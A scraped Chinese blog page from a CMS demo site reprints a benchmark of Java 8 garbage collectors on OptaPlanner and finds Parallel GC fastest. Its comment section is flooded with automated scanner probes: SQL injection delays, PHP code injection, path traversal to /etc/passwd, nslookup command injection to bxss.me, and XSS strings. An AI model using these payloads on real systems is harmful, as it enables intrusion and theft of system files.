Java 8最快的垃圾搜集器是什么?

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基准测试方法

运行相同的代码六次,每次使用不同的VM参数(-XX:+UseSerialGC, -XX:+UseParallelGC, -XX:+UseConcMarkSweepGC, -XX:ParallelCMSThreads=2, -XX:ParallelCMSThreads=4, -XX:+UseG1GC)。

每次运行大概花费55分钟。

其它VM参数:-Xmx2048M -server

OpenJDK版本:1.8.0_51(当前最新的版本)

软件:Linux version 4.0.4-301.fc22.x86_64

硬件:Intel? Core? i7-4790 CPU @ 3.60GHz

每次运行13个?OptaPlanner?规划问题方案。每次运行时间为5分钟。前30秒用于JVM预热,不计算在内。

解决规划问题不涉及 IO (除了启动时需要几毫秒来加载输入信息)。单个 CPU 使用完全饱和。通常会创建许多存活时间很短的对象,GC 之后就会回收这些对象。

衡量标准可以是计算每毫秒的得分,越高越好。计算一个拟议规划解决方案是一个不可小觑的问题:涉及到大量的计算,包括每个实体与其他所有实体的冲突检测。

为了能在本地重复运行这些基准测试,可以从源码进行构建,然后运行主类 GeneralOptaPlannerBenchmarkApp。

基准测试结果

执行结果

为了方便查看,我已经对每种 GC 与 Java 8 默认 GC(Parallel GC)进行了比较。

结果非常清楚:默认(Parallel GC)是最快的

原始基准测试数据

相对基准测试数据

Java 9 默认应该为 G1 吗?

有一种提议是在 OpenJDK9 的服务器端使用 G1 作为默认 GC。我第一反应就是拒绝该提议:

G1 的平均值要慢17.60%

G1 在每个数据集用例下都比较慢。

在最大数据集(Machine Reassignment B10)下,表现比其它数据集都要差,G1 慢了34.07%。

如果在开发机和服务器之间采用不同的默认 GC,则开发者基准测试的可信度就会下降。

另一方面,存在几个需要注意的细节:

G1 关注是 GC 暂停的问题,而不是吞吐量。对于这些用例(计算量比较大),GC 暂停时长基本没影响。

这是一个(基本是)单线程的基准测试。并行解决多个问题或采用多线程解决的基准测试,结果可能不同。

G1 推荐的堆内存至少是 6GB。而这次基准测试的堆内存是 2GB,即使在最大数据集(Machine Reassignment B10)也只需要这么多内存。

海量计算只是 OpenJDK 的诸多功能中的一个:这是在社区广泛争论的一个问题。如果有其他方面(如网站服务)的证明,可能值得改变默认GC。但是,请首先向我展示你实际项目的基准测试。

结论

在 Java 8 中,对 OptaPlanner 用例来说,默认 GC(Parallel GC)通常情况是最好的选择。


Reproduced please indicate the source: Feehi CMS demo » Java 8最快的垃圾搜集器是什么?

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  1. 1
    dwUQQUrL2020-11-02 17:29 (2 months ago) 回复
  2. aa"><img src=x>
    游客2020-11-02 17:03 (2 months ago) 回复
  3. TmyHjcHZ'));select pg_sleep(9); --
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  4. eouzwF4Y');select pg_sleep(6); --
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  5. ar7VREht';select pg_sleep(3); --
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  6. -1));select pg_sleep(9); --
    гость2020-10-22 16:05 (2 months ago) 回复
  7. -1);select pg_sleep(6); --
    гость2020-10-22 16:05 (2 months ago) 回复
  8. -1;select pg_sleep(3); --
    гость2020-10-22 16:05 (2 months ago) 回复
  9. DTGRKApw'; waitfor delay '0:0:3' --
    гость2020-10-22 16:05 (2 months ago) 回复
  10. 1 waitfor delay '0:0:9' --
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  11. -1); waitfor delay '0:0:6' --
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  12. -1; waitfor delay '0:0:6' --
    гость2020-10-22 16:05 (2 months ago) 回复
  13. (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
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  15. 0'XOR(if(now()=sysdate(),sleep(9),0))XOR'Z
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  16. if(now()=sysdate(),sleep(6),0)
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  17. -1" OR 2+684-684-1=0+0+0+1 --
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  18. -1' OR 2+199-199-1=0+0+0+1 or 'fftyg90J'='
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  19. -1' OR 2+321-321-1=0+0+0+1 --
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  20. -1 OR 2+180-180-1=0+0+0+1
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  21. -1 OR 2+496-496-1=0+0+0+1 --
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  22. JldAke6v
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  23. 1
    гость2020-10-22 16:04 (2 months ago) 回复
  24. 1
    гость2020-10-22 16:04 (2 months ago) 回复
  25. <!--
    гость2020-10-22 16:04 (2 months ago) 回复
  26. '"
    гость2020-10-22 16:04 (2 months ago) 回复
  27. index.php/.
    гость2020-10-22 16:04 (2 months ago) 回复
  28. index.php
    гость2020-10-22 16:04 (2 months ago) 回复
  29. index.php
    гость2020-10-22 16:04 (2 months ago) 回复
  30. http://hitoA5AZ5ln9r.bxss.me/
    гость2020-10-22 16:04 (2 months ago) 回复
  31. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
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  32. bxss.me/t/xss.html?%00
    гость2020-10-22 16:04 (2 months ago) 回复
  33. HttP://bxss.me/t/xss.html?%00
    гость2020-10-22 16:04 (2 months ago) 回复
  34. ${@print(md5(31337))}\
    гость2020-10-22 16:04 (2 months ago) 回复
  35. ${@print(md5(31337))}
    гость2020-10-22 16:04 (2 months ago) 回复
  36. ";print(md5(31337));$a="
    гость2020-10-22 16:04 (2 months ago) 回复
  37. ';print(md5(31337));$a='
    гость2020-10-22 16:04 (2 months ago) 回复
  38. ;print(md5(31337));
    гость2020-10-22 16:04 (2 months ago) 回复
  39. ^(#$!@#$)(()))******
    гость2020-10-22 16:03 (2 months ago) 回复
  40. !(()&&!|*|*|
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  41. )
    гость2020-10-22 16:03 (2 months ago) 回复
  42. bxss.me
    гость2020-10-22 16:03 (2 months ago) 回复
  43. http://bxss.me/t/fit.txt?.jpg
    гость2020-10-22 16:03 (2 months ago) 回复
  44. Http://bxss.me/t/fit.txt
    гость2020-10-22 16:03 (2 months ago) 回复
  45. 1some_inexistent_file_with_long_name.jpg
    гость2020-10-22 16:03 (2 months ago) 回复
  46. http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
    гость2020-10-22 16:03 (2 months ago) 回复
  47. WEB-INF\web.xml
    гость2020-10-22 16:03 (2 months ago) 回复
  48. WEB-INF/web.xml
    гость2020-10-22 16:03 (2 months ago) 回复
  49. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
    гость2020-10-22 16:03 (2 months ago) 回复
  50. ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
    гость2020-10-22 16:03 (2 months ago) 回复
  51. /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
    гость2020-10-22 16:03 (2 months ago) 回复
  52. ..\..\..\..\..\..\..\..\windows\win.ini
    гость2020-10-22 16:03 (2 months ago) 回复
  53. ${10000096+9999500}
    гость2020-10-22 16:03 (2 months ago) 回复
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  56. ../../../../../../../../../../windows/win.ini.jpg
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  57. C:\WINDOWS\system32\drivers\etc\hosts
    гость2020-10-22 16:03 (2 months ago) 回复
  58. /WEB-INF/web.xml
    гость2020-10-22 16:03 (2 months ago) 回复
  59. /\../\../\../\../\../\../\../etc/passwd
    гость2020-10-22 16:03 (2 months ago) 回复
  60. file:///etc/passwd
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  61. ;nslookup hit70bm5FIceq3ab57.bxss.me|nslookup hit70bm5FIceq3ab57.bxss.me&nslookup hit70bm5FIceq3ab57.bxss.me;
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  62. <esi:include src="http://bxss.me/rpb.png"/>
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  64. ../././../././../././../././../././../././../././../././../././../././etc/passwd
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  65. `nslookup hitFjyhpjoHJo2c0af.bxss.me`
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  66. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
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  67. |nslookup hithAWkh2omT8a3486.bxss.me
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  68. ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
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  69. /.././.././.././.././.././.././.././../etc/./passwd%00
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  70. &nslookup hito5fYJIzsXpe49a0.bxss.me&'\"`0&nslookup hito5fYJIzsXpe49a0.bxss.me&`'
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  71. %2fetc%2fpasswd
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  72. $(nslookup hitYdEHd8Di0Id6268.bxss.me)
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  73. /etc/passwd
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  74. nslookup hitoj05dX1THT35312.bxss.me
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  75. .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
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  76. /../..//../..//../..//../..//../..//etc/passwd.jpg
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  77. set|set&set
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  78. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
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  79. ../../../../../../../../../../etc/passwd.jpg
    гость2020-10-22 16:03 (2 months ago) 回复
  80. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
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  81. ../../../../../../../../../../../../../../../proc/version
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  82. ../../../../../../../../../../etc/passwd
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  83. "+response.write(9737523*9360300)+"
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  84. '+response.write(9737523*9360300)+'
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  94. -1));select pg_sleep(9); --
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  95. qSn5Sydm'; waitfor delay '0:0:3' --
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  96. 1 waitfor delay '0:0:9' --
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  97. -1); waitfor delay '0:0:6' --
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  98. -1" OR 3+762-762-1=0+0+0+1 --
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  100. -1 OR 2+689-689-1=0+0+0+1
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  102. <!--
    Client2020-10-21 15:53 (2 months ago) 回复
  103. http://hit8y5f6LGsRT.bxss.me/
    Client2020-10-21 15:53 (2 months ago) 回复
  104. ${@print(md5(31337))}
    Client2020-10-21 15:53 (2 months ago) 回复
  105. ";print(md5(31337));$a="
    Client2020-10-21 15:53 (2 months ago) 回复
  106. ';print(md5(31337));$a='
    Client2020-10-21 15:53 (2 months ago) 回复
  107. ;print(md5(31337));
    Client2020-10-21 15:53 (2 months ago) 回复
  108. ^(#$!@#$)(()))******
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  109. !(()&&!|*|*|
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  110. )
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  111. Http://bxss.me/t/fit.txt
    Client2020-10-21 15:52 (2 months ago) 回复
  112. 1some_inexistent_file_with_long_name.jpg
    Client2020-10-21 15:52 (2 months ago) 回复
  113. http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
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  114. `nslookup hitDYygYvTdR4cecdf.bxss.me`
    Client2020-10-21 15:52 (2 months ago) 回复
  115. WEB-INF/web.xml
    Client2020-10-21 15:52 (2 months ago) 回复
  116. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
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  117. &nslookup hitFk40hpiRFJd65fd.bxss.me&'\"`0&nslookup hitFk40hpiRFJd65fd.bxss.me&`'
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  120. ../../../../../../../../../../windows/win.ini.jpg
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  121. /WEB-INF/web.xml
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  122. file:///etc/passwd
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  123. ../././../././../././../././../././../././../././../././../././../././etc/passwd
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  124. /etc/passwd
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  125. /../..//../..//../..//../..//../..//etc/passwd.jpg
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  126. ../../../../../../../../../../etc/passwd
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  127. '+response.write(9562268*9941593)+'
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  133. 1
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  134. index.php/.
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  135. index.php
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  136. index.php
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  137. <!--
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  138. '"
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  139. http://hit5KseLI0QOo.bxss.me/
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  140. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
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  141. ${@print(md5(acunetix_wvs_security_test))}\
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  142. ${@print(md5(acunetix_wvs_security_test))}
    Guest2019-12-31 14:43 (a year ago) 回复
  143. ";print(md5(acunetix_wvs_security_test));$a="
    Guest2019-12-31 14:43 (a year ago) 回复
  144. WEB-INF\web.xml
    Guest2019-12-31 14:43 (a year ago) 回复
  145. ';print(md5(acunetix_wvs_security_test));$a='
    Guest2019-12-31 14:43 (a year ago) 回复
  146. WEB-INF/web.xml
    Guest2019-12-31 14:43 (a year ago) 回复
  147. bxss.me/t/xss.html?%00
    Guest2019-12-31 14:43 (a year ago) 回复
  148. ;print(md5(acunetix_wvs_security_test));
    Guest2019-12-31 14:43 (a year ago) 回复
  149. HttP://bxss.me/t/xss.html?%00
    Guest2019-12-31 14:43 (a year ago) 回复
  150. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
    Guest2019-12-31 14:43 (a year ago) 回复
  151. ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
    Guest2019-12-31 14:43 (a year ago) 回复
  152. /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
    Guest2019-12-31 14:43 (a year ago) 回复
  153. ..\..\..\..\..\..\..\..\windows\win.ini
    Guest2019-12-31 14:43 (a year ago) 回复
  154. ................windowswin.ini
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  156. ../../../../../../../../../../windows/win.ini.jpg
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  157. C:\WINDOWS\system32\drivers\etc\hosts
    Guest2019-12-31 14:43 (a year ago) 回复
  158. ../../../../../../../../../../windows/win.ini
    Guest2019-12-31 14:43 (a year ago) 回复
  159. /WEB-INF/web.xml
    Guest2019-12-31 14:43 (a year ago) 回复
  160. /\../\../\../\../\../\../\../etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  161. file:///etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  162. ..��..��..��..��..��..��..��..��etc/passwd
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  163. ../././../././../././../././../././../././../././../././../././../././etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  164. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  165. ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  166. /.././.././.././.././.././.././.././../etc/./passwd%00
    Guest2019-12-31 14:43 (a year ago) 回复
  167. %2fetc%2fpasswd
    Guest2019-12-31 14:43 (a year ago) 回复
  168. /etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  169. .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  170. /../..//../..//../..//../..//../..//etc/passwd.jpg
    Guest2019-12-31 14:43 (a year ago) 回复
  171. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
    Guest2019-12-31 14:43 (a year ago) 回复
  172. ../../../../../../../../../../etc/passwd.jpg
    Guest2019-12-31 14:43 (a year ago) 回复
  173. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
    Guest2019-12-31 14:43 (a year ago) 回复
  174. ../../../../../../../../../../../../../../../proc/version
    Guest2019-12-31 14:43 (a year ago) 回复
  175. ../../../../../../../../../../etc/passwd
    Guest2019-12-31 14:43 (a year ago) 回复
  176. bxss.me
    Guest2019-12-31 14:43 (a year ago) 回复
  177. http://bxss.me/t/fit.txt?.jpg
    Guest2019-12-31 14:43 (a year ago) 回复
  178. Http://bxss.me/t/fit.txt
    Guest2019-12-31 14:43 (a year ago) 回复
  179. 77bx7YIA'));select pg_sleep(9); --
    Guest2019-12-31 14:43 (a year ago) 回复
  180. 1some_inexistent_file_with_long_name.jpg
    Guest2019-12-31 14:43 (a year ago) 回复
  181. "+response.write(9337836*9411185)+"
    Guest2019-12-31 14:43 (a year ago) 回复
  182. ^(#$!@#$)(()))******
    Guest2019-12-31 14:43 (a year ago) 回复
  183. HczeayJ8');select pg_sleep(9); --
    Guest2019-12-31 14:43 (a year ago) 回复
  184. http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
    Guest2019-12-31 14:43 (a year ago) 回复
  185. '+response.write(9337836*9411185)+'
    Guest2019-12-31 14:43 (a year ago) 回复
  186. 5a5rTAuB';select pg_sleep(9); --
    Guest2019-12-31 14:43 (a year ago) 回复
  187. !(()&&!|*|*|
    Guest2019-12-31 14:43 (a year ago) 回复
  188. response.write(9337836*9411185)
    Guest2019-12-31 14:43 (a year ago) 回复
  189. )
    Guest2019-12-31 14:43 (a year ago) 回复
  190. -1));select pg_sleep(9); --
    Guest2019-12-31 14:43 (a year ago) 回复
  191. -1);select pg_sleep(9); --
    Guest2019-12-31 14:43 (a year ago) 回复
  192. -1;select pg_sleep(6); --
    Guest2019-12-31 14:43 (a year ago) 回复
  193. ZpKfnVFh'; waitfor delay '0:0:6' --
    Guest2019-12-31 14:43 (a year ago) 回复
  194. 1 waitfor delay '0:0:6' --
    Guest2019-12-31 14:43 (a year ago) 回复
  195. -1); waitfor delay '0:0:6' --
    Guest2019-12-31 14:43 (a year ago) 回复
  196. -1; waitfor delay '0:0:6' --
    Guest2019-12-31 14:43 (a year ago) 回复
  197. (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
    Guest2019-12-31 14:43 (a year ago) 回复
  198. 0"XOR(if(now()=sysdate(),sleep(3),0))XOR"Z
    Guest2019-12-31 14:43 (a year ago) 回复
  199. 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
    Guest2019-12-31 14:43 (a year ago) 回复
  200. if(now()=sysdate(),sleep(3),0)
    Guest2019-12-31 14:43 (a year ago) 回复
  201. -1" OR 3+410-410-1=0+0+0+1 --
    Guest2019-12-31 14:43 (a year ago) 回复
  202. -1" OR 2+410-410-1=0+0+0+1 --
    Guest2019-12-31 14:43 (a year ago) 回复
  203. -1' OR 3+843-843-1=0+0+0+1 or 'LafFvKcF'='
    Guest2019-12-31 14:43 (a year ago) 回复
  204. -1' OR 2+843-843-1=0+0+0+1 or 'LafFvKcF'='
    Guest2019-12-31 14:43 (a year ago) 回复
  205. -1' OR 3+93-93-1=0+0+0+1 --
    Guest2019-12-31 14:43 (a year ago) 回复
  206. -1' OR 2+93-93-1=0+0+0+1 --
    Guest2019-12-31 14:43 (a year ago) 回复
  207. -1 OR 3+666-666-1=0+0+0+1
    Guest2019-12-31 14:43 (a year ago) 回复
  208. -1 OR 2+666-666-1=0+0+0+1
    Guest2019-12-31 14:43 (a year ago) 回复
  209. -1 OR 3+70-70-1=0+0+0+1 --
    Guest2019-12-31 14:43 (a year ago) 回复
  210. ${9999502+10000396}
    Guest2019-12-31 14:43 (a year ago) 回复
  211. -1 OR 2+70-70-1=0+0+0+1 --
    Guest2019-12-31 14:43 (a year ago) 回复
  212. 1
    Guest2019-12-31 14:43 (a year ago) 回复
  213. 1
    Guest2019-12-31 14:43 (a year ago) 回复
  214. <esi:include src="http://bxss.me/rpb.png"/>
    Guest2019-12-31 14:43 (a year ago) 回复
  215. &nslookup CGIF4EbW&'\"`0&nslookup CGIF4EbW&`'
    Guest2019-12-31 14:43 (a year ago) 回复
  216. $(nslookup KhoX4uXL)
    Guest2019-12-31 14:43 (a year ago) 回复
  217. set|set&set
    Guest2019-12-31 14:43 (a year ago) 回复
  218. �''�""
    Guest2019-12-31 14:43 (a year ago) 回复
  219. �'�"
    Guest2019-12-31 14:43 (a year ago) 回复
  220. JyI=
    Guest2019-12-31 14:43 (a year ago) 回复
  221. @@ZgGkd
    Guest2019-12-31 14:43 (a year ago) 回复
  222. 1����%2527%2522
    Guest2019-12-31 14:43 (a year ago) 回复
  223. \
    Guest2019-12-31 14:43 (a year ago) 回复
  224. 1'"
    Guest2019-12-31 14:43 (a year ago) 回复
  225. WEB-INF\web.xml
    游客2019-12-23 11:07 (a year ago) 回复
  226. WEB-INF/web.xml
    游客2019-12-23 11:07 (a year ago) 回复
  227. index.php/.
    游客2019-12-23 11:07 (a year ago) 回复
  228. index.php
    游客2019-12-23 11:07 (a year ago) 回复
  229. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
    游客2019-12-23 11:07 (a year ago) 回复
  230. index.php
    游客2019-12-23 11:07 (a year ago) 回复
  231. ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
    游客2019-12-23 11:07 (a year ago) 回复
  232. /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
    游客2019-12-23 11:07 (a year ago) 回复
  233. ..\..\..\..\..\..\..\..\windows\win.ini
    游客2019-12-23 11:07 (a year ago) 回复
  234. ................windowswin.ini
    游客2019-12-23 11:07 (a year ago) 回复
  235. ������������������������������������������������windows��win.ini
    游客2019-12-23 11:07 (a year ago) 回复
  236. ../../../../../../../../../../windows/win.ini.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  237. C:\WINDOWS\system32\drivers\etc\hosts
    游客2019-12-23 11:06 (a year ago) 回复
  238. ../../../../../../../../../../windows/win.ini
    游客2019-12-23 11:06 (a year ago) 回复
  239. /WEB-INF/web.xml
    游客2019-12-23 11:06 (a year ago) 回复
  240. /\../\../\../\../\../\../\../etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  241. file:///etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  242. <!--
    游客2019-12-23 11:06 (a year ago) 回复
  243. ..��..��..��..��..��..��..��..��etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  244. '"
    游客2019-12-23 11:06 (a year ago) 回复
  245. ../././../././../././../././../././../././../././../././../././../././etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  246. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  247. ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  248. /.././.././.././.././.././.././.././../etc/./passwd%00
    游客2019-12-23 11:06 (a year ago) 回复
  249. %2fetc%2fpasswd
    游客2019-12-23 11:06 (a year ago) 回复
  250. /etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  251. .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  252. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    游客2019-12-23 11:06 (a year ago) 回复
  253. /../..//../..//../..//../..//../..//etc/passwd.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  254. D7UgC25c'));select pg_sleep(3); --
    游客2019-12-23 11:06 (a year ago) 回复
  255. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  256. cwhrWcKE');select pg_sleep(3); --
    游客2019-12-23 11:06 (a year ago) 回复
  257. ../../../../../../../../../../etc/passwd.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  258. LZs3wtGM';select pg_sleep(9); --
    游客2019-12-23 11:06 (a year ago) 回复
  259. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
    游客2019-12-23 11:06 (a year ago) 回复
  260. ../../../../../../../../../../../../../../../proc/version
    游客2019-12-23 11:06 (a year ago) 回复
  261. -1));select pg_sleep(9); --
    游客2019-12-23 11:06 (a year ago) 回复
  262. http://hit4Y6t2bkuki.bxss.me/
    游客2019-12-23 11:06 (a year ago) 回复
  263. -1);select pg_sleep(9); --
    游客2019-12-23 11:06 (a year ago) 回复
  264. ../../../../../../../../../../etc/passwd
    游客2019-12-23 11:06 (a year ago) 回复
  265. -1;select pg_sleep(9); --
    游客2019-12-23 11:06 (a year ago) 回复
  266. mlFCzw58'; waitfor delay '0:0:9' --
    游客2019-12-23 11:06 (a year ago) 回复
  267. 1 waitfor delay '0:0:6' --
    游客2019-12-23 11:06 (a year ago) 回复
  268. -1); waitfor delay '0:0:6' --
    游客2019-12-23 11:06 (a year ago) 回复
  269. -1; waitfor delay '0:0:6' --
    游客2019-12-23 11:06 (a year ago) 回复
  270. (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
    游客2019-12-23 11:06 (a year ago) 回复
  271. 0"XOR(if(now()=sysdate(),sleep(3),0))XOR"Z
    游客2019-12-23 11:06 (a year ago) 回复
  272. 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
    游客2019-12-23 11:06 (a year ago) 回复
  273. if(now()=sysdate(),sleep(3),0)
    游客2019-12-23 11:06 (a year ago) 回复
  274. -1" OR 3+57-57-1=0+0+0+1 --
    游客2019-12-23 11:06 (a year ago) 回复
  275. -1" OR 2+57-57-1=0+0+0+1 --
    游客2019-12-23 11:06 (a year ago) 回复
  276. -1' OR 3+103-103-1=0+0+0+1 or 'dzxV2WdQ'='
    游客2019-12-23 11:06 (a year ago) 回复
  277. -1' OR 2+103-103-1=0+0+0+1 or 'dzxV2WdQ'='
    游客2019-12-23 11:06 (a year ago) 回复
  278. -1' OR 3+336-336-1=0+0+0+1 --
    游客2019-12-23 11:06 (a year ago) 回复
  279. -1' OR 2+336-336-1=0+0+0+1 --
    游客2019-12-23 11:06 (a year ago) 回复
  280. ${@print(md5(acunetix_wvs_security_test))}\
    游客2019-12-23 11:06 (a year ago) 回复
  281. -1 OR 3+860-860-1=0+0+0+1
    游客2019-12-23 11:06 (a year ago) 回复
  282. ${@print(md5(acunetix_wvs_security_test))}
    游客2019-12-23 11:06 (a year ago) 回复
  283. -1 OR 2+860-860-1=0+0+0+1
    游客2019-12-23 11:06 (a year ago) 回复
  284. ";print(md5(acunetix_wvs_security_test));$a="
    游客2019-12-23 11:06 (a year ago) 回复
  285. -1 OR 3+33-33-1=0+0+0+1 --
    游客2019-12-23 11:06 (a year ago) 回复
  286. ';print(md5(acunetix_wvs_security_test));$a='
    游客2019-12-23 11:06 (a year ago) 回复
  287. -1 OR 2+33-33-1=0+0+0+1 --
    游客2019-12-23 11:06 (a year ago) 回复
  288. ;print(md5(acunetix_wvs_security_test));
    游客2019-12-23 11:06 (a year ago) 回复
  289. 1
    游客2019-12-23 11:06 (a year ago) 回复
  290. 1
    游客2019-12-23 11:06 (a year ago) 回复
  291. ^(#$!@#$)(()))******
    游客2019-12-23 11:06 (a year ago) 回复
  292. bxss.me
    游客2019-12-23 11:06 (a year ago) 回复
  293. !(()&&!|*|*|
    游客2019-12-23 11:06 (a year ago) 回复
  294. http://bxss.me/t/fit.txt?.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  295. "+response.write(9720229*9747840)+"
    游客2019-12-23 11:06 (a year ago) 回复
  296. )
    游客2019-12-23 11:06 (a year ago) 回复
  297. Http://bxss.me/t/fit.txt
    游客2019-12-23 11:06 (a year ago) 回复
  298. '+response.write(9720229*9747840)+'
    游客2019-12-23 11:06 (a year ago) 回复
  299. bxss.me/t/xss.html?%00
    游客2019-12-23 11:06 (a year ago) 回复
  300. 1some_inexistent_file_with_long_name.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  301. response.write(9720229*9747840)
    游客2019-12-23 11:06 (a year ago) 回复
  302. HttP://bxss.me/t/xss.html?%00
    游客2019-12-23 11:06 (a year ago) 回复
  303. http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
    游客2019-12-23 11:06 (a year ago) 回复
  304. ${10000262+9999885}
    游客2019-12-23 11:06 (a year ago) 回复
  305. <esi:include src="http://bxss.me/rpb.png"/>
    游客2019-12-23 11:06 (a year ago) 回复
  306. &nslookup FZIWMxCj&'\"`0&nslookup FZIWMxCj&`'
    游客2019-12-23 11:06 (a year ago) 回复
  307. $(nslookup ZvECXgvA)
    游客2019-12-23 11:06 (a year ago) 回复
  308. set|set&set
    游客2019-12-23 11:06 (a year ago) 回复
  309. �''�""
    游客2019-12-23 11:06 (a year ago) 回复
  310. �'�"
    游客2019-12-23 11:06 (a year ago) 回复
  311. JyI=
    游客2019-12-23 11:06 (a year ago) 回复
  312. @@U5xTt
    游客2019-12-23 11:06 (a year ago) 回复
  313. 1����%2527%2522
    游客2019-12-23 11:06 (a year ago) 回复
  314. \
    游客2019-12-23 11:06 (a year ago) 回复
  315. 1'"
    游客2019-12-23 11:06 (a year ago) 回复
  316. 1111
    aa2019-12-09 21:58 (a year ago) 回复
  317. fdsfdf》
    游客2019-11-05 18:14 (a year ago) 回复
  318. fdsafa
    游客2019-04-14 19:06 (a year ago) 回复
  319. <script>alert(555)</script>
    游客2018-12-02 16:43 (2 years ago) 回复
    • sfsfdf
      游客 2018-12-26 14:16(2 years ago)
  320. 嘎嘎嘎嘎嘎过过
    游客2018-12-02 16:42 (2 years ago) 回复
  321. 4125
    游客2018-11-13 16:27 (2 years ago) 回复
  322. 3444444
    游客2018-11-09 13:57 (2 years ago) 回复
  323. 插手
    游客2018-04-16 20:12 (2 years ago) 回复
    • 344444344444444434444444444
      游客 2018-11-09 13:58(2 years ago)
  324. wwewew
    游客2018-04-12 16:16 (2 years ago) 回复
  325. 好厉害哒
    游客2018-02-12 16:18 (2 years ago) 回复
  326. Good post
    游客2018-02-09 14:00 (2 years ago) 回复
  327. <img src="#" onerror="alert('xss')"/>
    游客2017-12-29 16:51 (3 years ago) 回复
    • <img src="#" onerror="alert('xss')"/>
      游客 2018-11-09 13:58(2 years ago)
  328. 4G和
    游客2017-10-22 23:04 (3 years ago) 回复
    • vvvvv
      游客 2017-12-27 22:52(3 years ago)
  329. 123132
    游客2017-09-07 16:33 (3 years ago) 回复

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